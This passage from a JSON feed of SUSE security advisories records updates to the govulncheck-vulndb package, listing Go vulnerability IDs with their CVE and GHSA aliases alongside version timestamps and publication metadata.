GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}